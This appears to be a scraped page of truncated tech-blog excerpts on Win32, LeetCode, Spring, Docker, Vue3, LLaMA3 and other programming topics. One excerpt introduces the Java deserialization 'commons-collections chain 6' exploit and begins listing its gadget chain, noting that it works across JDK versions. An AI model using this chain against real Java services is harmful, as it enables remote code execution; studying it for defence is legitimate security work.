专栏导航 本节文章分别属于《Win32 学习笔记》和《MFC 学习笔记》两个专栏&#xff0c;故划分为两个专栏导航。读者可以自行选择前往哪个专栏。 &#xff08;一&#xff09;WIn32 专栏导航 上一篇&#xff1a;编程技能&#xff1a;字符串函数02&#xff0c;strcpy 回到目录…...

edge设置位IE模式打开网页

打开Edge浏览器->在浏览器工具栏右键->自定义工具栏->外观->选择要在工具栏上显示的按钮->找到“Internet Explorer 模式”按钮->开启,将其添加到工具栏中...

代码随想录训练营第二十二天| 101.对称二叉树 100.相同的树

101.对称二叉树&#xff1a; 文档讲解&#xff1a;代码随想录|101.对称二叉树 视频讲解&#xff1a;新学期要从学习二叉树开始&#xff01; | LeetCode&#xff1a;101. 对称二叉树_哔哩哔哩_bilibili 状态&#xff1a;已做出 思路&#xff1a; 这道题目我初始做的时候想着使用…...

nvm管理node版本

To manage Node.js versions on Windows, I recommend using nvm-windows (Node Version Manager for Windows). Here’s how we can handle this: First, let’s install nvm-windows. I’ll propose a command to check if it’s already installed: nvm versionGreat! I s…...

智能手表测试计划文档(软/硬件)

&#x1f4c4; 智能手表测试计划文档&#xff08;软/硬件&#xff09; 项目名称&#xff1a;Aurora Watch S1 文档编号&#xff1a;AW-S1-QA-TP-001 编制日期&#xff1a;2025-xx-xx 版本&#xff1a;V1.0 编写人&#xff1a;xxx&#xff08;测试主管&#xff09; 一、测试目标…...

基于大模型的原发性醛固酮增多症全流程预测与诊疗方案研究

目录 一、引言 1.1 研究背景与意义 1.2 国内外研究现状 1.3 研究目的与方法 二、原发性醛固酮增多症概述 2.1 疾病定义与发病机制 2.2 临床表现与诊断标准 2.3 流行病学特征 三、大模型预测原理与技术 3.1 大模型简介 3.2 预测原理与算法 3.3 数据收集与预处理 四…...

spring中的@Lazy注解详解

一、核心功能与作用 Lazy 注解是 Spring 框架中用于延迟 Bean 初始化的核心工具&#xff0c;通过将 Bean 的创建推迟到首次使用时&#xff0c;优化资源利用和启动性能。其核心功能包括&#xff1a; 延迟初始化 默认情况下&#xff0c;Spring 在容器启动时立即初始化所有单例 …...

Docker快速入门与应用

1. 什么是 Docker&#xff1f; Docker 就像一个“魔法箱子”&#xff0c;可以把你开发的应用&#xff08;代码、环境、配置&#xff09;‌打包成一个标准化的容器‌&#xff0c;这个容器可以在任何支持 Docker 的系统上运行&#xff0c;无需担心环境差异导致的问题。 ‌类比‌…...

判断一个数是不是素数的最高效的算法

判断一个数是否是素数&#xff0c;有从简单到复杂多种方法。最高效的算法取决于输入规模&#xff08;是几个亿以内的数&#xff0c;还是上百位的大整数&#xff09;&#xff0c;我会按实用场景分类讲解&#xff1a; ✅ 常规范围内&#xff08;比如 ≤ 1e12&#xff09;判断素数…...

《Head First 设计模式》第一章 - 笔记

本书是本人写的设计模式的笔记&#xff0c;写下核心要点&#xff0c;如果你掌握过设计模式&#xff0c;想快速阅读本书内容&#xff0c;这个笔记适合你阅读。如果你是新手&#xff0c;有 java 基础和 oo 设计原则基础&#xff0c;你适合跟我一样从零阅读本书。 第一章 策略模式…...

GPT系列:自然语言处理的演进与多模态的探索

GPT系列&#xff1a;自然语言处理的演进与多模态的探索 GPT系列的发展一、GPT-1 &#xff1a;通过生成式的预训练改进自然语言GPT-1的动机做一个预训练模型的难点GPT-1的微调模式GPT-1的训练数据Bert 二、GPT-2语言模型是非监督的GPT-2的动机引入promptGPT-2模型架构的改变GPT-…...

Linux驱动:驱动编译流程了解

要求 1、开发板中的linux的zImage必须是自己编译的 2、内核源码树,其实就是一个经过了配置编译之后的内核源码。 3、nfs挂载的rootfs,主机ubuntu中必须搭建一个nfs服务器。 内核源码树 解压 tar -jxvf x210kernel.tar.bz2 编译 make x210ii_qt_defconfigmakeCan’t use ‘…...

【MySQL】数据库基础

目录 1.什么是数据库2.见一见数据库3.服务器、表、库之间的关系4.MySQL架构5.sql语句分类6.查看MySQL存储引擎6.1 查看存储引擎6.2 常见存储引擎对比 1.什么是数据库 概念&#xff1a;数据库一般是指&#xff0c;在磁盘或者内存中存储的特定结构组织的数据 – 将来在磁盘上存储…...

1.1 文章简介

前因后果链 行业需求 → 技能断层 → 课程设计响应 (高薪岗位要求数学基础) → (符号/公式理解困难) → (聚焦原理与应用) 行业驱动因素 • 前因&#xff1a;机器学习/AI等领域的高薪岗位激增&#xff0c;但数学能力成为主要门槛 • 关键矛盾&#xff1a;算法论文中的数学…...

laravel 中使用的pdf 扩展包 laravel-snappy(已解决中文乱码)

Centos7 安装 wkhtmltopdf 1、先查看系统是 32 位的还是 64 位的 uname -a2、通过 composer 安装 wkhtmltopdf 32位: $ composer require h4cc / wkhtmltopdf-i386 0.12.x $ composer require h4cc / wkhtmltoimage-i386 0.12.x 64位: $ composer require h4cc/wkhtmltopdf-…...

java反序列化commons-collections链6

cc链6&#xff0c;最好用的cc链&#xff0c;因为它不受jdk版本的限制和cc版本的限制&#xff0c;前半段很像urldns链&#xff0c;后半段是cc1链 先来看一下它的利用链 Gadget chain:java.io.ObjectInputStream.readObject()java.util.HashSet.readObject()java.util.HashMap.p…...

WebSocket的原理及QT示例

一.WebSocket 介绍 1.概述 WebSocket 是一种在单个 TCP 连接上进行全双工通讯的协议&#xff0c;它在 2011 年被 IETF 定为标准 RFC 6455&#xff0c;并由 RFC7936 补充规范。与传统的 HTTP 协议不同&#xff0c;WebSocket 允许服务器和客户端之间进行实时、双向的数据传输&a…...

css 点击后改变样式

背景&#xff1a; 期望实现效果&#xff1a;鼠标点击之后&#xff0c;保持选中样式。 实现思路&#xff1a;在css样式中&#xff0c;:active 是一种伪类&#xff0c;用于表示用户当前正在与被选定的元素进行交互。当用户点击或按住鼠标时&#xff0c;元素将被激活&#xff0c;此…...

AI 在模仿历史语言方面面临挑战:大型语言模型在生成历史风格文本时的困境与研究进展

概述 在当今数字化时代&#xff0c;人工智能&#xff08;AI&#xff09;技术在诸多领域展现出了强大的能力&#xff0c;但在处理历史语言这一特定任务时&#xff0c;却遭遇了不小的挑战。美国和加拿大的研究人员通过合作发现&#xff0c;像 ChatGPT 这样的大型语言模型&#x…...

C++.Windows图形

Windows图形 1. 基础知识1.1 Windows图形编程基础1.2 GDI与GDI1.3 窗口消息处理2.1 注册窗口类2.2 创建窗口2.3 显示窗口3.1 创建按钮3.2 按钮消息处理4.1 设置窗口透明度4.2 透明窗口示例5.1 使用区域创建异形窗口5.2 异形窗口示例6.1 GDI抗锯齿设置6.2 抗锯齿绘图示例7.1 Dir…...

【Vue3】使用vite创建Vue3工程、Vue3基本语法讲解

一、什么是Vite Vite是新一代前端构建工具&#xff0c;官网地址&#xff1a;Vite中文网&#xff0c;vite的优势如下&#xff1a; 轻量快速的热重载&#xff08;HMR&#xff09;&#xff0c;能实现极速的服务启动对TypeScript、JSX、CSS等支持开箱即用真正的按需编译&#xff…...

专题二:二叉树的深度优先搜索

以leetcode2331题为例 题目分析&#xff1a; 以第一个示例为例 算法原理分析&#xff1a; 从宏观角度&#xff0c;也就是我的算法之回溯的第一篇 我们发现我们在研究示例的时候&#xff0c;必须从下往上推 也就是我在研究一个结点是true还是false的时候&#xff0c;必须…...

Termius ssh连接服务器 vim打开的文件无法复制问题

你的问题是&#xff1a; • 在 Termius (macOS) SSH 连接到 VMware Ubuntu&#xff0c;使用 vim 打开 .cpp 文件时&#xff0c;可以复制文本&#xff1b; • 但在 Windows 10 上 SSH 到 VMware 的 Red Hat 6.4 时&#xff0c;复制操作无效。 ⸻ &#x1f3af; 初步分析 复制…...

搭建大数据学习的平台

一、基础环境准备 1. 硬件配置 物理机&#xff1a;建议 16GB 内存以上&#xff0c;500GB 硬盘&#xff0c;多核 CPU虚拟机&#xff1a;至少 3 台&#xff08;1 主 2 从&#xff09;&#xff0c;每台 4GB 内存&#xff0c;50GB 硬盘 2. 操作系统 Ubuntu 20.04 LTS 或 CentOS…...

Matlab 模糊控制节水洗衣机模型

1、内容简介 Matlab 232-模糊控制节水洗衣机模型 可以交流、咨询、答疑 2、内容说明 略 3、仿真分析 略 4、参考论文 略...

如何找正常运行虚拟机

1.新建虚拟机。Linux centos7&#xff0c;给虚拟机改个名字不要放在c盘 2.安装操作系统。cd/dvd->2009.iso 启动虚拟机...

python二手书交易管理系统

目录 技术栈介绍具体实现截图系统设计研究方法&#xff1a;设计步骤设计流程核心代码部分展示研究方法详细视频演示试验方案论文大纲源码获取/详细视频演示 技术栈介绍 Django-SpringBoot-php-Node.js-flask 本课题的研究方法和研究步骤基本合理&#xff0c;难度适中&#xf…...

使用本地部署的 LLaMA 3 模型进行中文对话生成

以下程序调用本地部署的 LLaMA3 模型进行多轮对话生成&#xff0c;通过 Hugging Face Transformers API 加载、预处理、生成并输出最终回答。 程序用的是 Chat 模型格式&#xff08;如 LLaMA3 Instruct 模型&#xff09;&#xff0c;遵循 ChatML 模板&#xff0c;并使用 apply…...

C++编程练习,认识面向对象权限,如何进行封装

#include <iostream> #include <string> using namespace std; /* 银行的账户是一个模板&#xff0c;是一个类&#xff0c;有存款人信息和账户额度&#xff0c;而具体的存款人视为一个对象&#xff0c; 一个对象不能私自修改账户额度&#xff0c;需要通过一个操作流…...

A Survey of Learning from Rewards:从训练到应用的全面剖析

A Survey of Learning from Rewards&#xff1a;从训练到应用的全面剖析 你知道大语言模型&#xff08;LLMs&#xff09;如何通过奖励学习变得更智能吗&#xff1f;这篇论文将带你深入探索。从克服预训练局限的新范式&#xff0c;到训练、推理各阶段的策略&#xff0c;再到广泛…...

电脑端音乐播放器推荐:提升你的听歌体验!

在快节奏的职场环境中&#xff0c;许多上班族都喜欢用音乐为工作时光增添色彩。今天要分享的这款音乐工具&#xff0c;或许能为你的办公时光带来意想不到的惊喜。 一、软件介绍-澎湃 澎湃音乐看似是个普通的播放器&#xff0c;实则藏着强大的资源整合能力。左侧功能栏清晰陈列着…...